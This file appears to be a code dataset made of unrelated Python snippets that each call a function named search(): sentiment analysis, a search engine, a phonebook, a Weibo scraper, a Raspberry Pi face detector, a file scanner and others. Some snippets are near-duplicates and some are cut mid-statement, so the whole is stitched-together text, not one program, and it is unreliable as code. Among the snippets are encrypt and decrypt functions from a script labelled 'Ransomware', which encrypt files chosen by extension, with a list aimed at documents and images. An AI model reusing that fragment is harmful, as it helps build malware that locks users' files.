def polarity(word, polar_list, posi_words, neg_words): p_opinion = search(str(word).strip(), posi_words, 'Positive') n_opinion = search(str(word).strip(), neg_words, 'Negative') if p_opinion != '': polar_list = [polar_list[0] + 1, polar_list[1] * 1] elif n_opinion != '': polar_list = [polar_list[0] + 1, polar_list[1] * -1] else: polar_list = [polar_list[0] + 0, polar_list[1] * 1] return polar_list
def polarity(word,polar_list, posi_words, neg_words): p_opinion = search(str(word).strip(),posi_words,'Positive') n_opinion = search(str(word).strip(),neg_words,'Negative') if p_opinion!='': polar_list=[polar_list[0]+1,polar_list[1]*1] elif n_opinion!='': polar_list=[polar_list[0]+1,polar_list[1]*-1] else: polar_list=[polar_list[0]+0,polar_list[1]*1] return polar_list
def getSentimentValue(all_text, obj): posi_words = obj.positive_list ##Collection of positive words neg_words = obj.negative_list#Collection of negative words high_words = obj.high_list##Collection of high intensity words moderate_words = obj.moderate_list#Collection of moderate intensity words low_words = obj.low_list##Collection of negative words intensity = 0 text = [] phrase_list = [] for phrase in all_text: phrase_att=phrase[-1] if(phrase_att[0]=='?'or phrase_att[0]=='VP'): phrase_att=phrase_att+(0,) else: for words in phrase[0]: p_opinion = search(words[0],posi_words,'Positive') n_opinion = search(words[0],neg_words,'Negative') cofficient = -1 if n_opinion == 'Negative' else 1 if words[1] == 'JJR' or words[1]=='RBR': intensity = intensity + (cofficient * 0.25) elif words[1] == 'JJS' or words[1]=='RBS': intensity = intensity + (cofficient * 0.75) elif (words[1] == 'JJ' or words[1] == 'RB') and (n_opinion=='Negative' or p_opinion=='Positive'): intensity = intensity + (cofficient * 0.1) else: intensity_search = search(words[0],high_words,'TRUE') if intensity_search == 'TRUE': intensity = intensity+0.75 else: intensity_search = search(words[0],moderate_words,'TRUE') if intensity_search == 'TRUE': intensity = intensity+0.25 else: intensity_search = search(words[0],low_words,'TRUE') if intensity_search == 'TRUE': intensity = intensity-0.25 else: intensity = intensity+0 phrase_att = phrase_att+(intensity,) phrase_list.append(phrase[0]) phrase_list.append(phrase_att) text.append(phrase_list) phrase_list = [] intensity = 0 return text
def search_mode(): global search_entry global N, avg_l, allPages, minheap sentence = search_entry.get() #恢复N, avg_l paraF = open('parameter.txt', 'r') para = paraF.readline().split() N = int(para[0]) avg_l = int(para[1]) paraF.close() #恢复allPages db = sqlite3.connect('news.sqlite') df2 = pandas.read_sql_query('SELECT * FROM allPages', con=db) allPages_new = df2.to_dict() db.close() first_time = True index = None allPages = [] for x in allPages_new: if first_time: index = allPages_new[x] first_time = False else: newDict = dict() for i in allPages_new[x]: newDict[index[i]] = allPages_new[x][i] allPages.append(newDict) #TermDict在search中取出 minheap = search(sentence, N, avg_l) display_news()
def search_food(self, matrix, search_type): cell_food = Cell() cell_food.set_type(CellTypes.TYPE_FOOD, CellTypes.FOOD_COLOR) self.solution = search(self.position, cell_food, matrix, search_type) return self.solution
def ScanBigFile(self, fileSize): self.flist.delete(0.0, tkinter.END) if fileSize is None: return fSize = fileSize * 1024 * 1024#转化成字节 s = search(fSize, self.GetDrives(), self.progress, self.flist) total = s.scanFile() self.progress['text'] = "找到%s个超过%sM的大文件" % (total, fSize/ 1024/1024)
def main(): # dictionary with keys(Name Surname) and objects of Person class phoneBook = {} # reading database with open('DataBase.txt', 'r') as readFile: for line in readFile: line = line.replace('\n', '') newOne = parse(line) phoneBook[newOne.name + ' ' + newOne.surname] = newOne #menu print('\n\n\nHELLO! THIS IS THE BEST PHONEBOOK FROM THE BEST PROGRAMMER OF THE WORLD!') print('\t\tIT\'S WITH LOVE \n\t\t\tBY ILYA SOLOVOV') print('\nChoose what to do with your phonebook: \n\t1.show\n\t2.search\n\t3.add new person\n\t4.delete some people\n\t5.change information about a person\n\t6.find out the age of a person\n\t7.get list of contacts who will celebrate Birhday soon\n\t\'quit\' to quit\n') menu = input('Enter: ') while menu != 'quit': try: menu = int(menu) except BaseException: menu = 8 if menu == 1: show(phoneBook) elif menu == 2: search(phoneBook) elif menu == 3: add(phoneBook) elif menu == 4: delete(phoneBook) elif menu == 5: change(phoneBook) elif menu == 6: currentAge(phoneBook) elif menu == 7: birthdayList(phoneBook) else: print('\tWrong command, try one more time :-)\n') print( 'Choose what to do with your phonebook: \n\t1.show\n\t2.search\n\t3.add new person\n\t4.delete some person\n\t5.change information about a person\n\t6.age of a person\n\t7.get list of contacts who will celebrate Birhday soon\n\t\'quit\' to quit\n') menu = input('Enter: ') # rewriting database with open('DataBase.txt', 'w') as writeFile: for key in phoneBook: writeFile.write(phoneBook[key].to_str() + '\n')
def decrypt(default_path): password = bytes(get_key(), encoding="utf-8") key = hashlib.sha256(password).digest() #default_path = os.path.dirname(os.path.realpath(__file__)) # default_path = "C:\\Users\\oonja\\Desktop\\Ransomware" ext_list = [".dal"] file, directory = search(default_path, ext_list) for i in file: decrypt_file(key, i) print("Decrypted Finish!")
def encrypt(default_path): password = bytes(get_key(), encoding="utf-8") key = hashlib.sha256(password).digest() ext_list = [".hwp"] ''' ext_list = [".doc", ".docx", ".hwp", ".c", ".cpp", ".java",".ppt", ".pptx", ".pptm", ".jpg", ".png", ".jpeg", ".gif", ".bmp", ".txt",".pdf",".html"] ''' file, directory = search(default_path, ext_list) for i in file: encrypt_file(key, i) print("Encrypted Finish!")
def main(): keyword = "data science data" result = search(keyword) if result is False: print("Not found") else: for i in result: print(f"{i}.txt") # # # new search cosine similarity # # # print("=" * 20, "new", "=" * 20) # # # new search cosine similarity # # # result = new_search(keyword) if result is False: print("Not found") else: for i in result: print(f"{i}.txt")
def weibo_search(url, data): weibo_urls = [] resopnse_search = search(url, data) response_elements = etree.HTML(resopnse_search.encode('utf-8')) # 判断是搜索是否为空 if '未找到' in resopnse_search: print('faild!!') print(response_elements.xpath('/html/body/div[5]/text()')[0]) else: all_weibos = response_elements.xpath('//div/@id') for weibo_id in all_weibos: if weibo_id == 'pagelist': break nick_weibos_urls = response_elements.xpath('//*[@id="' + weibo_id + '"]/div[1]/a/@href')[0] user_id = nick_weibos_urls.split('/').pop() url_weibo = 'https://weibo.cn/comment/' + weibo_id[ 2:] + '?uid=' + user_id + '&rl=1#cmtfrm' weibo_urls.append(url_weibo) print('-' * 100) return weibo_urls
def main(): #get command line arguments numArguments = len(sys.argv) argList = sys.argv if numArguments != 6: print("Number of arguments != 6") print( "Should look like python Search.py inputFile.txt outputFile.txt startNode endNode searchType" ) print() exit() #Command line argument placeholders inputFile = argList[1] outputFile = argList[2] startNode = argList[3] endNode = argList[4] searchType = argList[5] mySearches = search(inputFile, outputFile, startNode, endNode) # depthSearch = dfs(inputFile, outputFile, startNode, endNode) # uniformSearch = ucs(inputFile, outputFile, startNode, endNode) mySearches.ReadFile() #do a breadth first search if searchType == "BFS": mySearches.DoBFS() #do a depth first search elif searchType == "DFS": mySearches.DoDFS() #do a uniform cost search elif searchType == "UCS": mySearches.DoUCS()
def SearchFile(self, fname): total = 0 if fname is None: return s = search(None, self.GetDrives(), self.progress, self.flist) total = s.searchFile(fname.upper())
str_face = str(len(f2)) int_face = int(str_face) print(int_face, type(face_set)) if int_face != 0: # fatal=1 camera.capture('/home/pi/Pictures/shareall/face.jpg') # number=number+1 # if number>10: # number=0 # Draw a rectangle around every face # Calculate and show the FPS print "Searching......" time.sleep(2) # geshi=search (a, b) = search() # geshi=search() print(a, b) # geshi_str= geshi.__str__() # print geshi_str,type(geshi_str) # if len(geshi_str)<=10: # if type(geshi)!=tuple: # print "Wrong" # else: # print "Right" c = float(a) d = b print d, type(d)
from collections import defaultdict # Для построения словаря обратного индекса. from Search import search from ClearFiles import clear_data if __name__ == "__main__": cites, word_set = clear_data('dataset/') # Словарь вида {url сайта: список слов на сайте} term_to_id = {word: i for i, word in enumerate(word_set)} # -//- {слово: id слова} (нумерация с 0 до ~300k) url_to_docid = {url: i for i, url in enumerate(cites.keys())} # -//- {url: id сайта} (нумерация с 0 до ~9k) docid_to_url = {i: url for i, url in enumerate(cites.keys())} # -//- {id сайта: url} reversed_index = defaultdict(list) # Словарь обратных индексов вида for i, (url, word_list) in enumerate(cites.items()): # {id слова: все id сайтов, на которых оно есть} for word in word_list: reversed_index[term_to_id[word]].append(url_to_docid[url]) # Already sorted query = input() for i, url in enumerate(search(query, url_to_docid, docid_to_url, term_to_id, reversed_index)): print("%i: " % i, url)
#!/home/dotcloud/env/bin/python from Search import search from fetch_screenshots import fetch import re import os def extract_url(text): if not text: return None pattern = re.compile("https?://[^(\s|<)]+") urls = pattern.findall(text) if len(urls) == 0: return None else: min_url = urls[0] for url in urls: if len(url) < len(min_url): min_url = url return min_url if __name__ == '__main__': IMAGE_DIRECTORY = "images" search_result = search('"show hn"', 0, 'create_ts desc', 16) posts = [p['item'] for p in search_result[1]] fetch_list = [(post['id'], post['url'] if post['url'] else extract_url(post['text'])) for post in posts] fetch(fetch_list, IMAGE_DIRECTORY)
def getTagPhrase(given_text, obj): chunk_list = getChunkPhrase(given_text) tuple_append = ('#','S') chunk_list.append(tuple_append) current_value = '' next_value = '' phrase_list = [] word_tuple = () print_text = [] polar_list = [0,1] opinion = '' counter_first = 0 counter_second = 0 while counter_first < len(chunk_list)- 1: #pdb.set_trace() current_value = chunk_list[counter_first] word_tag_first = current_value[0] phrase_first = current_value[1] polar_list = polarity.polarity(word_tag_first[0],polar_list, obj.positive_list, obj.negative_list)##updating polariy list,polarity is the built module to find the polarity strength opinion = getPolarity(polar_list)## find the polarity intensity, is built module to find the strenth of polarity word_tuple = (word_tag_first[0],word_tag_first[1],opinion) phrase_list.append(word_tuple) counter_second = counter_first + 1 while counter_second < len(chunk_list): next_value = chunk_list[counter_second] word_tag_second = next_value[0] if(phrase_first == next_value[1] and phrase_first!='S'): polar_list = polarity.polarity(word_tag_second[0], polar_list, obj.positive_list, obj.negative_list)##module to find polarity of phrase ##finding polarity of current token opinion = '' opinion = search(str(word_tag_second[0]).strip(), obj.positive_list, 'Positive') if opinion == '': opinion = search(str(word_tag_second[0]).strip(), obj.negative_list, 'Negative') if opinion == '': opinion = 'Undefine' word_tuple = (word_tag_second[0],word_tag_second[1],opinion) phrase_list.append(word_tuple) else: counter_first = counter_second-1 break; counter_second = counter_second+1 counter_first = counter_first+1 opinion = getPolarity(polar_list) phrase_att_list = [] if(phrase_first == 'S'): add_tuple = ('?',opinion) phrase_att_list.append(phrase_list) phrase_att_list.append(add_tuple) else: add_tuple = (phrase_first,opinion) phrase_att_list.append(phrase_list) phrase_att_list.append(add_tuple) print_text.append(phrase_att_list) word_tuple = () phrase_list = [] polar_list = [0,1] return print_text
def getTagPhrase(given_text, obj): chunk_list = getChunkPhrase(given_text) tuple_append = ('#', 'S') chunk_list.append(tuple_append) current_value = '' next_value = '' phrase_list = [] word_tuple = () print_text = [] polar_list = [0, 1] opinion = '' counter_first = 0 counter_second = 0 while counter_first < len(chunk_list) - 1: #pdb.set_trace() current_value = chunk_list[counter_first] word_tag_first = current_value[0] phrase_first = current_value[1] polar_list = polarity.polarity( word_tag_first[0], polar_list, obj.positive_list, obj.negative_list ) ##updating polariy list,polarity is the built module to find the polarity strength opinion = getPolarity( polar_list ) ## find the polarity intensity, is built module to find the strenth of polarity word_tuple = (word_tag_first[0], word_tag_first[1], opinion) phrase_list.append(word_tuple) counter_second = counter_first + 1 while counter_second < len(chunk_list): next_value = chunk_list[counter_second] word_tag_second = next_value[0] if (phrase_first == next_value[1] and phrase_first != 'S'): polar_list = polarity.polarity( word_tag_second[0], polar_list, obj.positive_list, obj.negative_list) ##module to find polarity of phrase ##finding polarity of current token opinion = '' opinion = search( str(word_tag_second[0]).strip(), obj.positive_list, 'Positive') if opinion == '': opinion = search( str(word_tag_second[0]).strip(), obj.negative_list, 'Negative') if opinion == '': opinion = 'Undefine' word_tuple = (word_tag_second[0], word_tag_second[1], opinion) phrase_list.append(word_tuple) else: counter_first = counter_second - 1 break counter_second = counter_second + 1 counter_first = counter_first + 1 opinion = getPolarity(polar_list) phrase_att_list = [] if (phrase_first == 'S'): add_tuple = ('?', opinion) phrase_att_list.append(phrase_list) phrase_att_list.append(add_tuple) else: add_tuple = (phrase_first, opinion) phrase_att_list.append(phrase_list) phrase_att_list.append(add_tuple) print_text.append(phrase_att_list) word_tuple = () phrase_list = [] polar_list = [0, 1] return print_text
#Presented by NoobiesForNow from selenium import webdriver from selenium.webdriver.common.keys import Keys from Search import search from Deal_of_the_day import deal_of_the_day HEADER = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36', 'Accept-Language': 'en-US , en;q=0.5' } URL = "https://www.amazon.in/" while True: choose = int(input("'1' to search,\n'2' to open deals of the day\n: ")) if choose == 1: search() elif choose == 2: deal_of_the_day() else: print("Try again")
def setup1(): # Setup the camera camera = PiCamera() camera.resolution = ( 320, 240 ) camera.framerate =16 rawCapture = PiRGBArray( camera, size=( 320, 240 ) ) # Load a cascade file for detecting faces face_cascade = cv2.CascadeClassifier( '/home/pi/opencv-3.1.0/data/lbpcascades/lbpcascade_frontalface.xml' ) t_start = time.time() fps = 0 ### Main ###################################################################### # Capture frames from the camera for frame in camera.capture_continuous( rawCapture, format="bgr", use_video_port=True ): confidence=0 image = frame.array gray = cv2.cvtColor( image, cv2.COLOR_BGR2GRAY ) faces = face_cascade.detectMultiScale( gray ) print "Found " + str( len( faces ) ) + " face(s)" str_face=str(len(faces)) int_face=int(str_face) print (int_face,type(int_face)) if int_face!=0: camera.capture('/home/pi/Pictures/face.jpg') print "Searching......" time.sleep(2) (a,b)=search() print (a,b) time.sleep(1) c=float(a) d=b print d,type(d) if c>70: print"i know him" confidence=68 break else: print "He(She) is a stranger" confidence=0 # for ( x, y, w, h ) in faces: # cv2.rectangle( image, ( x, y ), ( x + w, y + h ), ( 100, 255, 100 ), 2 ) # cv2.putText( image, "Face No." + str( len( faces ) ), ( x, y ), cv2.FONT_HERSHEY_SIMPLEX, 0.5, ( 0, 0, 255 ), 2 ) # Calculate and show the FPS fps = fps + 1 sfps = fps / ( time.time() - t_start ) # cv2.putText( image, "FPS : " + str( int( sfps ) ), ( 10, 10 ), cv2.FONT_HERSHEY_SIMPLEX, 0.5, ( 0, 0, 255 ), 2 ) # Show the frame # cv2.imshow( "Frame", image ) # cv2.waitKey( 1 ) # if key == ord("q"): # break # Clear the stream in preparation for the next frame rawCapture.truncate( 0 ) #def setup1() # mm=100 # print mm return confidence
from Search import search print('실수를 검색합니다') print('End를 입력하면 종료됩니다.') number = 0 x = [] while True: s = input(f'x[{number}] : ') if s == 'End': break x.append(float(s)) number += 1 ky = float(input("검색할 값 : ")) idx = search(x,ky) if idx == -1: print("검색한 원소가 존재하지않습니다.") else: print(f'검색값은 x[{idx}]에 있습니다.')
print("비밀번호가 틀렸습니다.\n") time.sleep(0.3) continue else: print("파일 잠금 해제가 성공적으로 되었습니다.\n") time.sleep(0.3) else: time.sleep(0.3) continue elif choice == 3: all_file_print() default_path = os.path.dirname(os.path.realpath(__file__)) file = search(default_path) print("프로그램이 위치한 폴더의 모든 파일 내역입니다.\n") for i in file: print(i) print("") elif choice == 4: check_print() print("확인하고 싶은 파일또는 폴더의 경로를 입력해주세요.") path = input(">>> ") if not os.path.exists(path): print("파일을 찾을 수 없습니다.\n") continue if os.path.isfile(path): #파일이라면 extension = os.path.splitext(path)[1][1:]